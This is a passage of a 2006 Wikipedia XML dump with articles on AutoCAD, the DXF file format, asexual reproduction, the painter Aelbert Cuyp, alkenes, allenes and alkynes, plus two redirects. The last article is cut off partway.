[[Image:AutoCAD2005.jpg|thumb|left|A snapshot taken in AutoCAD 2005 while transcribing a curve.]]
AutoCAD supports a number of [[application programming interface]]s (APIs) for customization and automation.  These include [[AutoLISP]], Visual LISP, and [[VBA]].  
AutoCAD's license-based API, [[ObjectARX]], can be used; a [[C++]] class library, which was also the base for products extending AutoCAD functionality to specific fields, to create products such as Autodesk Architectural Desktop, AutoCAD Electrical, or third-party AutoCAD based applications.

AutoCAD's native file format, [[DWG|AutoCAD DWG]], and to a lesser extent, its interchange file format, [[AutoCAD DXF|DXF]], have become [[de facto]] standards for interchange of 2D CAD data.  In 2006, Autodesk estimated the number of active DWG files to be in excess of one billion.  In the past, Autodesk has estimated the total number of DWG files in existence to be more than three billion.

AutoCAD currently runs exclusively on [[Microsoft]] desktop [[operating system]]s.  Versions for [[Unix]] and [[Apple Macintosh]] were released in the 1980s, but these met with limited market acceptance and were later dropped.  It usually suffers from poor performance when run in an [[emulator]] or [[compatibility layer]] like [[Virtual PC]] or [[Wine (software)|Wine]].

===AutoCAD LT===

AutoCAD LT is a &quot;scaled down&quot; version of AutoCAD.  &quot;LT&quot; does not stand for &quot;light&quot;; it originally stood for &quot;lap top&quot;.  (One pronounces the letters individually.)  When AutoCAD LT was first introduced in 1993, laptop computers did not have the performance features they have today.  A version of AutoCAD with a reduced feature set, and thus a smaller memory footprint, was needed for portable use.  AutoCAD LT was the result.

[[2006|Today]], Autodesk sells AutoCAD LT for its much lower price.  It is marketed as a CAD package for those who only need 2D functionality.  Compared with AutoCAD proper, AutoCAD LT lacks several features, has almost no 3D capabilities, and does not include any programming interfaces.

===Overlay programs===

Autodesk has also developed overlay programs, sometimes called Desktops, for discipline-specific enhancements.  Architectural Desktop, for example, permits architectural designers to draw objects such as walls, doors and windows, with more intelligent data associated with them, rather than simple objects such as lines and circles.  The data can be programmed to represent specific architectural products sold in the construction industry, or extracted into a data file for pricing, materials estimation, and other values related to the objects represented.  Similarly, Civil Design, Civil Design 3D, and Civil Design Professional allow data-specific objects to be used, allowing standard civil engineering calculations to be made and represented easily. Additionally, Autodesk Inventor allows the technician to design any moving object (or idea!) and visually represent movements on screen.

===Templates===

Incorporated into AutoCAD 2000 (Release 15), was the ability to create a template. Not like most other software programs, this template (called paperspace) allowed users to draw/design on an exact representation of the sheet of paper they would ouput to. Draw a line 100mm - it would print 100mm.

===Blocks===

In AutoCAD, blocks are objects that can be reused. On the Web there are many sites that provide AutoCAD blocks, linetypes, hatch patterns, etc.  In version 2006, AutoCAD adds '''dynamic blocks,''' which have capabilities similar to the symbols used in [[Microsoft Visio]].

==Version history==

* Version 1.0 (Release 1) - December [[1982]]
* Version 1.2 (Release 2) - April [[1983]]
* Version 1.3 (Release 3) - August [[1983]]
* Version 1.4 (Release 4) - October [[1983]]
* Version 2.0 (Release 5) - October [[1984]]
* Version 2.1 (Release 6) - May [[1985]]
* Version 2.5 (Release 7) - June [[1986]]
* Version 2.6 (Release 8) - April [[1987]]
* Release 9 - September [[1987]]
* Release 10 - October [[1988]]
* Release 11 - October [[1990]]
* Release 12 - June [[1992]]
* Release 13 - November [[1994]]
* Release 14 - February [[1997]]
* AutoCAD 2000 (R15.0) - March [[1999]]
* AutoCAD 2000i - July [[2000]]
* AutoCAD 2002 (R15.6) - June [[2001]]
* AutoCAD 2004 (R16.0) - March [[2003]]
* AutoCAD 2005 (R16.1) - March [[2004]]
* AutoCAD 2006 (R16.2) - March [[2005]]

==See also==

*[[Autodesk]]
*[[CAD]]
*[[CP/M]]
*[[IGES]]
*[[pl:TechCAD]]

==External links==
{{Wikibooks}}
* [http://www.autodesk.com/autocad AutoCAD website] by Autodesk
* [http://www.quadrasol.co.uk/design/mech.php UK Reseller for Autodesk]
* [http://www.fourmilab.ch/autofile/ The Autodesk File] by co-founder Autodesk John Walker
* [http://betaprograms.autodesk.com/history/area51.htm Unofficial AutoCAD History] by Shaan Hurley
* [http://www.augi.com Autodesk User Group International]

{{AutoCAD_related_articles}}
[[Category:Windows software]]
[[Category:3D graphics software]]
[[Category:computer-aided design software]]
[[Category:CNC, CAD, and CAM]]

[[de:AutoCAD]]
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    </revision>
  </page>
  <page>
    <title>AutoCAD DXF</title>
    <id>2754</id>
    <revision>
      <id>38172856</id>
      <timestamp>2006-02-04T18:23:55Z</timestamp>
      <contributor>
        <username>Deville</username>
        <id>364144</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Binary]] to [[Binary and text files]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''AutoCAD DXF''' (Drawing Interchange Format, or Drawing Exchange Format) is a CAD data [[file format]], developed by [[Autodesk]] as their solution for enabling [[CAD data exchange | data interoperability]] between [[AutoCAD]] and other programs.

DXF was originally introduced in December 1982 as part of AutoCAD 1.0, and was intended to provide an exact representation of the data in the AutoCAD native file format, [[DWG]] (Drawing), for which Autodesk did (and does) not publish specifications.  Autodesk currently publishes specifications on its website for versions of DXF dating from AutoCAD Release 13 (November 1994) to AutoCAD 2006 (March 2005.)

Versions of AutoCAD from Release 10 (October 1988) and up support both [[ASCII]] and [[Binary and text files|binary]] forms of DXF.  Earlier versions support only the ASCII form.

As AutoCAD has become more powerful, supporting more complex object types, DXF has become less useful.  Certain object types, including [[ACIS]] solids and regions, are not documented.  Other object types, including AutoCAD 2006's dynamic blocks, and all of the objects specific to the vertical-market versions of AutoCAD, are partially documented, but not at a sufficient level to allow other developers to support them.

Almost all significant commercial application software developers, including all of Autodesk's competitors, choose to support DWG as their primary format for AutoCAD data interoperability, using libraries from the Open Design Alliance - a non-profit industry consortium which has reverse-engineered the DWG file format. 

==File structure==
ASCII versions of DXF it can be read with a text-editor. The basic organization of a DXF file is as follows:

*'''HEADER''' section - General information about the drawing. Each parameter has a variable name and an associated value.
*'''CLASSES'''section - Holds the information for application-defined classes whose instances appear in the BLOCKS, ENTITIES, and
OBJECTS sections of the database.  Generally does not provide sufficient information to allow interoperability with other programs.
*'''TABLES''' section - This section contains definitions of named items.
:Application ID (APPID) table
:Block Recod (BLOCK_RECORD) table
:Dimension Style (DIMSTYPE) table
:Layer (LAYER) table
:Linetype (LTYPE) table
:Text style (STYLE) table
:User Coordinate System (UCS) table
:View (VIEW)table
:Viewport configuration (VPORT) table
*'''BLOCKS''' section - This section contains Block Definition entities describing the entities comprising each Block in the drawing.
*'''ENTITIES''' section - This section contains the drawing entities, including any Block References.
*'''OBJECTS''' section -- Contains the data that apply to nongraphical objects, used by AutoLISP and ObjectARX applications.
*'''THUMBNAILIMAGE''' section -- contains the preview image for the DXF file.
*'''END OF FILE'''

== See also ==
* [[QCad]]

==External links==
* [http://www.autodesk.com/dxf DXF Specifications] - Autodesk documentation on versions of DXF from Release 13 to current.
* [http://www.opendesign.com Open Design Alliance] - Non-profit industry consortium which provides program libraries to read and write DWG and DXF files.

{{AutoCAD_related_articles}}
[[Category:CAD file formats]]


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    </revision>
  </page>
  <page>
    <title>Asexual reproduction</title>
    <id>2756</id>
    <revision>
      <id>41222770</id>
      <timestamp>2006-02-25T22:07:19Z</timestamp>
      <contributor>
        <username>Stevemcl</username>
        <id>190614</id>
      </contributor>
      <comment>RV 71.99.210.114</comment>
      <text xml:space="preserve">[[Image:caduco.jpg|thumb|400px|Asexual reproduction in liverworts: a caducuous phylloid germinating]]
'''Asexual reproduction''' (also known as '''''agamogenesis''''') is a form of reproduction which does not involve [[meiosis]], [[gamete]] formation, or [[fertilization]]. In laymen's terms, there is only one &quot;parent&quot; involved. This form of reproduction is common among simple organisms such as [[amoeba]] and other [[single-celled organism]]s, although most [[plant]]s produce asexually as well (see [[vegetative reproduction]]).

Because it does not require male and female participation, asexual reproduction occurs faster than sexual reproduction and requires less energy. Additionally, asexual reproduction produces an exact [[replica]] of the parent due to the lack of [[genetic recombination]]. From an [[evolution]]ary standpoint, one could thus argue that asexual reproduction is inferior because it stifles the potential for change. However, there is also a significantly reduced chance of [[mutation]] or other complications that can result from the mixing of genes.

Many, but not all, single-celled organisms produce asexually through [[binary fission]]. Some single-celled organisms rely on one or more [[host]] organisms in order to reproduce, but most literally divide into two organisms. An exception to the rule are [[ciliate]]s, which reproduce both sexually and asexually. All [[prokaryote]]s (the vast majority of which are [[unicellular]]) reproduce asexually.

There are three types of asexual reproduction utilized by plants: [[regeneration]], [[vegetative reproduction]], and spore formation. The last type, spore formation, involves the production of reproductive cells called [[spore]]s that contain [[DNA]] and develop into a new organism after dispersal. This method of reproduction is found in the [[fern]]s, and involves sporogenesis without meiosis. Thus the chromosome number of the spore cell is the same as that of the parent producing the spores.


==Examples of asexual reproduction in higher organisms==

The cape bee [[Apis mellifera capensis]] is known to sometimes reproduce asexually through a process called [[thelytoky]].

[[Identical Twins]] are also a form of asexual reproduction in humans.

==References==
* Graham, L., J. Graham, &amp; L. Wilcox. 2003. ''Plant Biology''. Pearson Education, Inc., Upper Saddle River, N.J.: pp. 258-259. 
* [http://www.tiscali.co.uk/reference/encyclopaedia/hutchinson/m0030820.html tiscali.reference] Asexual reproduction
* [http://www.tulane.edu/~wiser/protozoology/notes/intes.html Intestinal Protozoa]

==See also==
* [[Alternation of generation]]
* [[Bacterial conjugation]]
* [[Reproduction]]
* [[Sex]]

[[Category:Biological reproduction]]

[[cs:Nepohlavní rozmnožování]]
[[de:Ungeschlechtliche Vermehrung]]
[[nl:Ongeslachtelijke voortplanting]]
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[[sv:Asexuell]]</text>
    </revision>
  </page>
  <page>
    <title>Aelbert Cuyp</title>
    <id>2758</id>
    <revision>
      <id>41294206</id>
      <timestamp>2006-02-26T09:40:45Z</timestamp>
      <contributor>
        <ip>82.210.119.60</ip>
      </contributor>
      <comment>minor changes</comment>
      <text xml:space="preserve">[[Image:The_Negro_Page_by_Aelbert_Cuyp.jpeg|thumb|right|350px|&quot;The Negro Page&quot;]]
'''Aelbert Jacobsz Cuyp''' ([[Dordrecht]] [[October 20]], [[1620]] - Dordrecht [[November 15]], [[1691]]) was one of the leading [[Netherlands|Dutch]] [[landscape painting|landscape]] [[painter]]s of the [[17th century]]. The most famous of a family of painters, the pupil of his father [[Jacob Gerritsz. Cuyp]] (1594&amp;ndash;1651/52), he is especially known for his views of the Dutch countryside in early morning or late afternoon. Sunlight in his paintings rakes across the panel, accentuating small bits of detail in the golden light. In large, atmospheric panoramas of the countryside, the highlights on a blade of meadow grass, the mane of a tranquil horse, the horn of a dairy cow reclining by a stream, or the tip of a peasant's hat are all caught in a bath of yellow ocher light. The  quality of paint in a picture by Cuyp is unmistakably masterful. The richly [[varnish|varnished]] medium refracts the rays of light like a jewel as it dissolves into numerous glazed layers.

Cuyp's drawings reveal him to be a draftsman of superior quality. Light-drenched washes of [[Walnut ink|golden brown ink]] depict a distant view of the city of [[Dordrecht]] or [[Utrecht (city)|Utrecht]].
A Cuyp drawing may look like he intended it to be, a finished work of art; but it was most likely taken back to the studio and used as a reference for his paintings. Often the same section of a sketch can be found in several different pictures. Cuyp's landscapes were based on reality and on his own invention of what an enchanting landscape should be.

Cuyp signed many of his works but rarely dated them, so that a chronology of his career has not been satisfactorily reassembled. A phenomenal number of paintings are ascribed to him, some of which are likely to be by other masters of the golden landscape, such as '''Abraham Calraet''' (1642&amp;ndash;1722), whose initials ''A.C.'' may be mistaken for Cuyp's.

==External links==
*[http://www.ibiblio.org/wm/paint/auth/cuyp/ Cuyp family]

==See also==
*[[Cuyp]]
*[[Dutch Golden Age]]

[[Category:1620 births|Cuyp, Albert]]
[[Category:1691 deaths|Cuyp, Albert]]
[[Category:Dutch painters|Cuyp, Albert]]
[[Category:Dutch Golden Age painters|Cuyp, Albert]]
[[Category:Landscape artists|Cuyp, Albert]]

[[de:Aelbert Cuyp]]
[[nl:Albert Cuyp]]
[[sv:Aelbert Cuyp]]</text>
    </revision>
  </page>
  <page>
    <title>A.K. Erlang</title>
    <id>2759</id>
    <revision>
      <id>15901151</id>
      <timestamp>2005-05-01T06:50:41Z</timestamp>
      <contributor>
        <username>Woohookitty</username>
        <id>159678</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Agner Krarup Erlang]]</text>
    </revision>
  </page>
  <page>
    <title>Arabic</title>
    <id>2760</id>
    <revision>
      <id>26077363</id>
      <timestamp>2005-10-21T08:23:10Z</timestamp>
      <contributor>
        <username>Peter Isotalo</username>
        <id>505774</id>
      </contributor>
      <comment>Revert and redirect to [[Arabic language]]; see talkpage.</comment>
      <text xml:space="preserve">#redirect [[Arabic language]]</text>
    </revision>
  </page>
  <page>
    <title>Alkene</title>
    <id>2761</id>
    <revision>
      <id>41540442</id>
      <timestamp>2006-02-28T01:03:58Z</timestamp>
      <contributor>
        <ip>12.210.90.147</ip>
      </contributor>
      <text xml:space="preserve">{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; align=&quot;right&quot;
|+'''Alkenes'''
|-
| align=&quot;center&quot; bgcolor=&quot;#ffffff&quot; colspan=&quot;2&quot; | [[Image:ethene.png]]
|-
! bgcolor=&quot;#ffc0c0&quot; colspan=&quot;2&quot; | Properties
|-
! align=&quot;left&quot; | General formula
|[[C]]&lt;sub&gt;n&lt;/sub&gt;[[H]]&lt;sub&gt;2n&lt;/sub&gt;
|-
|}

An '''alkene''' in [[organic chemistry]] is an [[Saturation (chemistry)|unsaturated]] [[hydrocarbon]] containing at least one [[carbon]] to [[carbon]] [[double bond]]. The simplest alkenes, with only one double bond, form a [[homologous series]], ''the alkenes'' with general formula '''C&lt;sub&gt;n&lt;/sub&gt;H&lt;sub&gt;2n&lt;/sub&gt;'''.

The simplest alkene is C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;, which has the common name &quot;[[ethylene]]&quot; and the  [[International Union of Pure and Applied Chemistry]] (IUPAC) name &quot;[[ethene]]&quot;. Alkenes are also called [[olefin|olefins]] and [[vinyl]] compounds.

== Structure of Alkenes ==
=== Shape of Alkenes ===
As predicted by the [[VSEPR theory|VSEPR]] model of [[electron]] pair replusion, in the [[molecular geometry]] of alkenes the [[bond angle]]s about each carbon in a double bond are about 120&amp;deg;, although the angle may be larger because of [[steric strain]] introduced by [[nonbonded interactions]] created by [[functional group]]s attached to the carbons of the double bond. For example, the C-C-C bond angle in [[propene]] is 123.9&amp;deg;. The alkene double bond is stronger than a single [[covalent bond]] and also shorter with an average [[bond length]] of 133 [[picometre]].

=== Molecular Geometry===
Like single [[covalent bond]]s, double bonds can be described in terms of overlapping atomic orbitals, except that unlike a single bond (which consist of a single [[sigma bond]]), a carbon-carbon double bond consists of one [[sigma bond]] and one [[pi bond]].

Each carbon of the double bond uses its three ''sp&lt;sup&gt;2&lt;/sup&gt;'' hybrid orbitals to form sigma bonds to three atoms. The unhybridized ''2p'' atomic orbitals, which lie perpendicular to the plane created by the axes of the three ''sp&lt;sup&gt;2&lt;/sup&gt;'' hybrid orbitals, combine to form the pi bond.

Because it requires a large amount of energy to break a pi bond (264 [[joules|kJ]]/[[Mole (unit)|mol]] in ethylene), rotation about the carbon-carbon double bond is very difficult and therefore severely restricted. As a consequence substituted alkenes exist as one of two [[isomer]]s called a [[cis isomer]] and a [[trans isomer]]. In cis-2-butene two [[methyl]] substituents face the same side of the double bond and in trans-2-butene they face the opposite site.

It is certainly not impossible to twist a double bond. In fact a 90° twist requires an energy approximately equal to half the strength of a [[pi bond]]. The misalignment of the [[p orbital]]s is less than expected because [[pyridalization]] takes place. [[cyclooctene|Trans-cyclooctene]] is a stable strained alkene and the orbital misalignment is only 19° with a [[dihedral angle]] of 137° (normal 120°) and a degree of pyramidalization of 18°. This explains the [[dipole]] moment of 0.8 [[debye|D]] for this compound ([[cis-isomer]] 0.4 D) where a value of zero is expected {{Ref|Barrows}}. The trans isomer of [[cycloheptene]] is only stable at low temperatures.

==Physical properties==
The physical properties of alkenes are comparable with [[alkane]]s. The [[Physical state]] depends on [[molecular mass]]. The simplest alkenes, [[ethylene]], [[propylene]] and [[butylene]] are gases.

==Chemical properties==
Alkenes are relatively stable compounds, but are more reactive than [[alkane]]s. This is compatible with the idea that the carbon-carbon double bond (in alkenes) is stronger than the carbon-carbon single bond (in alkanes), however, as the majority of the reactions of alkenes involve the rupture of this bond to form two new [[sigma bond|single bonds]].

==Synthesis==
*The most common industrial synthesis path for alkenes is [[cracking (chemistry) | cracking]] of [[petroleum]].
*Alkenes can be synthesized from [[alcohol]]s via an [[Elimination reaction|elimination]] reaction that removes one water molecule:&lt;BR&gt;H&lt;sub&gt;3&lt;/sub&gt;C-CH&lt;sub&gt;2&lt;/sub&gt;-OH + H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt; &amp;rarr; H&lt;sub&gt;3&lt;/sub&gt;C-CH&lt;sub&gt;2&lt;/sub&gt;-O-SO&lt;sub&gt;3&lt;/sub&gt;H + H&lt;sub&gt;2&lt;/sub&gt;O &amp;rarr; H&lt;sub&gt;2&lt;/sub&gt;C=CH&lt;sub&gt;2&lt;/sub&gt; + H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;
* An [[Elimination reaction]] from an [[amine]] occurs in the [[Hofmann elimination]] and the [[Cope reaction]]
*[[Catalytic]] synthesis of higher &amp;alpha;-alkenes can be achieved by a reaction of [[Ethylene|ethene]] with triethylaluminium, an [[organometallic]] compound in the presence of [[nickel]], [[cobalt]] or [[platinum]].
*Alkenes scramble in an [[olefin metathesis]]
*Alkenes are generated from a [[ketone]] and an [[alkyl halide]] in the [[Wittig reaction]], from two different ketones in the [[Barton-Kellogg reaction]] and from coupling of one ketone in the [[Bamford-Stevens reaction]] or the [[Shapiro reaction]].
*Alkenes are generated from a [[coupling reaction]] of [[vinyl]] [[halide]]s
*Alkenes are generated from selective reduction of [[alkyne]]s
*Alkenes [[rearrangement reaction|rearrange]] in a [[Diels-Alder reaction]] and an [[Ene reaction]]

== Reactions ==
===Addition reactions===
Alkenes reacts in many [[addition reaction]]s.
* [[Catalytic addition of hydrogen]]: [[Catalytic]] hydrogenation of '''alkenes''' produce the corresponding [[alkane]]s. The reaction is carried out under pressure in the presence of a metallic [[catalyst]]. Common industrial catalysts are based on [[platinum]], [[nickel]] or [[palladium]], for laboratory syntheses, [[Raney's nickel]] is often employed. This is an [[alloy]] of [[nickel]] and [[aluminium]]. This is the catalytic hydrogenation of [[ethylene]] to yield [[ethane]]: CH&lt;sub&gt;2&lt;/sub&gt;=CH&lt;sub&gt;2&lt;/sub&gt; + H&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;

* [[Electrophilic addition]]: Most addition reactions to [[alkenes]] follow the mechanism of [[electrophilic addition]]. An example is the [[Prins reaction]] where the electrophile is a [[carbonyl]] group.
*[[Halogenation]]: Addition of elementary [[bromine]] or [[chlorine]] to [[alkenes]] yield [[vicinal (chemistry)|vicinal]] dibromo- and dichloroalkanes, respectively. The decoloration of a solution of bromine in water is an analytical test for the presence of alkenes:

:CH&lt;sub&gt;2&lt;/sub&gt;=CH&lt;sub&gt;2&lt;/sub&gt; + Br&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; BrCH&lt;sub&gt;2&lt;/sub&gt;-CH&lt;sub&gt;2&lt;/sub&gt;Br

:This is the mechanism for the reaction:
:[[image:AlkeneAndBr2Reaction.png|600px]]
:The reaction works because the high electron density at the double bond causes a temporary shift of electrons in the Br-Br bond causing a temporary induced dipole. This makes the Br closest to the double bond slightly positive and therefore an electrophile.
*Hydrohalogenation: Addition of [[hydrohalic acids]] like [[hydrogen chloride|HCl]] or HBr to alkenes yield the corresponding [[haloalkane]]s.&lt;BR&gt; CH&lt;sub&gt;3&lt;/sub&gt;-CH=CH&lt;sub&gt;2&lt;/sub&gt; + HBr &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;-CH'''Br'''-CH&lt;sub&gt;3&lt;/sub&gt;&lt;BR&gt; If the two carbon atoms at the double bond are linked to a different number of hydrogen atoms, the halogen is found preferentially at the carbon with less hydrogen substituents ([[Markovnikov's rule]]).
:This is the reaction mechanism for Hydrohalogenation:
:[[image:AlkeneAndHBrReaction.png|600px]]
*Addition of a [[carbene]] or [[carbenoid]] yields the corresponding [[cyclopropane]]

=== Oxidation ===
Alkenes are [[organic oxidation|oxidized]] with a large number of [[oxidizing agent]]s.
*In the presence of [[oxygen]], [[alkenes]] burn with a bright flame to [[carbon dioxide]] and water.
*[[Catalytic]] oxidation with oxygen or the reaction with [[percarboxylic]] acids yields [[epoxide]]s
*Reaction with ozone in [[ozonolysis]] leads to the breaking of the double bond, yielding two [[aldehyde]]s or [[ketone]]s&lt;BR&gt; R&lt;sub&gt;1&lt;/sub&gt;-CH=CH-R&lt;sub&gt;2&lt;/sub&gt; + O&lt;sub&gt;3&lt;/sub&gt; &amp;rarr; R&lt;sub&gt;1&lt;/sub&gt;-CHO + R&lt;sub&gt;2&lt;/sub&gt;-CHO + H&lt;sub&gt;2&lt;/sub&gt;O&lt;BR&gt; This reaction can be used to determine the position of a double bond in an unknown [[alkene]].

===Polymerisation===
[[Polymerization]] of [[alkene]]s is an economically important reaction which yields [[polymer]]s of high industrial value, such as the plastics [[polyethylene]] and [[polypropylene]]. Polymerization can either proceed via a free-[[Radical (chemistry)|radical]] or an ionic mechanism.

==Nomenclature of Alkenes==
===IUPAC Names===
To form the root of the [[IUPAC nomenclature|IUPAC]] names for alkenes, simply change the -an- infix of the parent to -en-. For example, '''CH&lt;sub&gt;3&lt;/sub&gt;-CH&lt;sub&gt;3&lt;/sub&gt;''' is the [[alkane]] ''ethANe''. The name of '''CH&lt;sub&gt;2&lt;/sub&gt;=CH&lt;sub&gt;2&lt;/sub&gt;''' is therefore ''ethENe''.

In higher alkenes, where [[isomers]] exist that differ in location of the double bond, the following numbering system is used:
#Number the longest carbon chain that contains the double bond in the direction that gives the carbon atoms of the double bond the lowest possible numbers.
#Indicate the location of the double bond by the location of its first carbon
#Name branched or substituted alkenes in a manner similar to [[alkane]]s.
#Number the carbon atoms, locate and name substituent groups, locate the double bond, and name the main chain
{| align=&quot;center&quot; cellspacing=&quot;10&quot; cellpadding=&quot;10&quot;
|- align=&quot;bottom&quot;
|
&lt;tt&gt;
CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH==CH&lt;sub&gt;2&lt;/sub&gt;&lt;/br&gt;
&lt;font color=&quot;red&quot;&gt;6&amp;nbsp;&amp;nbsp;5&amp;nbsp;&amp;nbsp;4&amp;nbsp;&amp;nbsp;3&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;/font&gt;
&lt;/tt&gt;&lt;/br&gt;
&lt;center&gt;'''1-Hexene'''&lt;/center&gt;
|
&lt;tt&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CH&lt;sub&gt;3&lt;/sub&gt;&lt;/br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;/br&gt;
CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CHCH&lt;sub&gt;2&lt;/sub&gt;CH==CH&lt;sub&gt;2&lt;/sub&gt;&lt;/br&gt;
&lt;font color=&quot;red&quot;&gt;6&amp;nbsp;&amp;nbsp;5&amp;nbsp;&amp;nbsp;4&amp;nbsp;3&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;/font&gt;
&lt;/tt&gt;&lt;/br&gt;
&lt;center&gt;'''4-Methyl-1-hexene'''&lt;/center&gt;
|
&lt;tt&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CH&lt;sub&gt;3&lt;/sub&gt;&lt;/br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;/br&gt;
CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CHCH&lt;sub&gt;2&lt;/sub&gt;C==CH&lt;sub&gt;2&lt;/sub&gt;&lt;/br&gt;
&lt;font color=&quot;red&quot;&gt;6&amp;nbsp;&amp;nbsp;5&amp;nbsp;&amp;nbsp;4&amp;nbsp;3&amp;nbsp;&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/font&gt;|&lt;font color=&quot;red&quot;&gt;2&amp;nbsp;1&lt;/font&gt;&lt;/br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;&lt;/tt&gt;&lt;/br&gt;
&lt;center&gt;'''2-Ethyl-4-methyl-1-hexene'''&lt;/center&gt;
|}

=== Common Names ===
Despite the precision and universal acceptance of the IUPAC naming system, some alkenes are known almost exclusively by their common names:
{| cellspacing=&quot;5&quot; cellpadding=&quot;2&quot;
|-
|
 || CH&lt;sub&gt;2&lt;/sub&gt;=&quot;CH&lt;sub&gt;2&lt;/sub&gt;&quot; || CH&lt;sub&gt;3&lt;/sub&gt;CH=&quot;CH&lt;sub&gt;2&lt;/sub&gt;&quot;
| CH&lt;sub&gt;3&lt;/sub&gt;C(CH&lt;sub&gt;3&lt;/sub&gt;)=&quot;CH&lt;sub&gt;2&lt;/sub&gt;&quot;
|-
| align=&quot;right&quot; | '''IUPAC name:''' || Ethene
| Propene || 2-Methylpropene
|-
| align=&quot;right&quot; | '''Common name:''' || Ethylene
| Propylene || Isobutylene
|}


==See also==
* [[hydrocarbon]]s with increasing [[bond order]]:[[Alkane]]s, alkenes and [[alkynes]].
* [[Aromatic hydrocarbon|Arene]]s are also alkenes but have very different properties due to [[aromaticity]]

== References ==
# {{Note|1}} ''Understanding Rotation about a C=C Double Bond'' Barrows, Susan E.; Eberlein, Thomas H. J. Chem. Educ. '''2005''' 82 1329 [http://jchemed.chem.wisc.edu/Journal/Issues/2005/Sep/abs1329.html Abstract].

[[Category:Hydrocarbons]]
[[Category:Alkenes]]
[[Category:functional groups]]

[[ar:ألكين]]
[[ca:Alquè]]
[[da:Alken]]
[[de:Alkene]]
[[et:Alkeenid]]
[[es:Alqueno]]
[[eo:Alkeno]]
[[fr:Alcène]]
[[io:Alkeno]]
[[it:Alcheni]]
[[he:אלקן]]
[[lv:Alkēni]]
[[nl:Alkeen]]
[[ja:アルケン]]
[[pl:Alken]]
[[pt:Alceno]]
[[ru:Алкены]]
[[sr:Алкен]]
[[su:Alkéna]]
[[fi:Alkeeni]]
[[sv:Alken]]
[[uk:Алкени]]
[[zh:烯烃]]</text>
    </revision>
  </page>
  <page>
    <title>Allene</title>
    <id>2762</id>
    <revision>
      <id>37061082</id>
      <timestamp>2006-01-28T08:52:19Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: ja</comment>
      <text xml:space="preserve">[[image:propyl_allene.png|right|thumb|[[Propyl allene]] is the simplest allene.]]

An '''allene''' is a [[hydrocarbon]] in which one atom of [[carbon]] is connected by [[covalent bond|double bonds]] with two other atoms of carbon.  Allene also is the common name for the parent compound of this series, 1,2-propadiene.

Such pair of bonds make allenes much more reactive than other [[alkene]]s.
For example, their reactivity with gaseous [[chlorine]] is more like the reactivity of [[alkyne]]s.

In the image at right, if groups &quot;a&quot; and &quot;b&quot; replace the hydrogens on the left and right side, the molecule will be [[chiral]] if &quot;a&quot; is not identical to &quot;b&quot;.  This is due to the two sets of groups being perpendicular to each other, and thus the molecule has no mirror plane.

==External links==
*[http://www.sparknotes.com/chemistry/organic3/stereochemistry/section2.rhtml Stereochemistry study guide]

{{orgchem-stub}}

[[Category:Dienes]]

[[ar:ألين]]
[[fr:Allène]]
[[ja:不飽和結合]]
[[pl:Allen]]
[[sv:Allen]]</text>
    </revision>
  </page>
  <page>
    <title>Alkyne</title>
    <id>2763</id>
    <revision>
      <id>42138901</id>
      <timestamp>2006-03-04T01:59:39Z</timestamp>
      <contributor>
        <username>YanA</username>
        <id>40074</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Alkyne.png|Alkyne|right]]
'''Alkynes''' are [[hydrocarbon]]s that have at least one [[triple bond]] between two [[carbon]] atoms.  The alkynes are traditionally known as '''acetylenes''', although the name acetylene is also used to refer specifically to the simplest member of the series, known officially as [[ethyne]]. 


== Structure==

The carbon atoms in an alkyne bond are [[sp hybridized]]: they each have 2 [[p orbital]]s and 2 [[Orbital hybridisation|sp hybrid orbitals]]. Overlap of an sp orbital from each atom forms one sp-sp [[sigma bond]]. Each p orbital on one atom overlaps one on the other atom, forming two [[pi bond]]s, giving a total of three bonds. The remaining sp orbital on each atom can form a sigma bond to another atom, for example to hydrogen atoms in the parent compound [[acetylene]]. The two sp orbitals on an atom are on opposite sides of the atom: in acetylene, the H-C-C [[bond angle]]s are 180°. Because a total of 6 electrons take part in bonding this triple bond is very strong with a [[bond strength]] of 837 kJ/mol. The sigma bond contributes 369 kJ/mol, the first pi bond contributes 268 kJ/mol and the second pi bond is weak with 202 kJ/mol bond strength. The CC bond distance with 121 [[picometer]]s is also much less than that of the [[alkene]] bond which is 134 pm or the alkane bond with 153 pm.

==Chemical properties==

Unlike [[alkane|alkanes]], [[alkyne|alkynes]] are unstable and very reactive. This gives rise to the intense heat of the acetylene flame used in welding. 

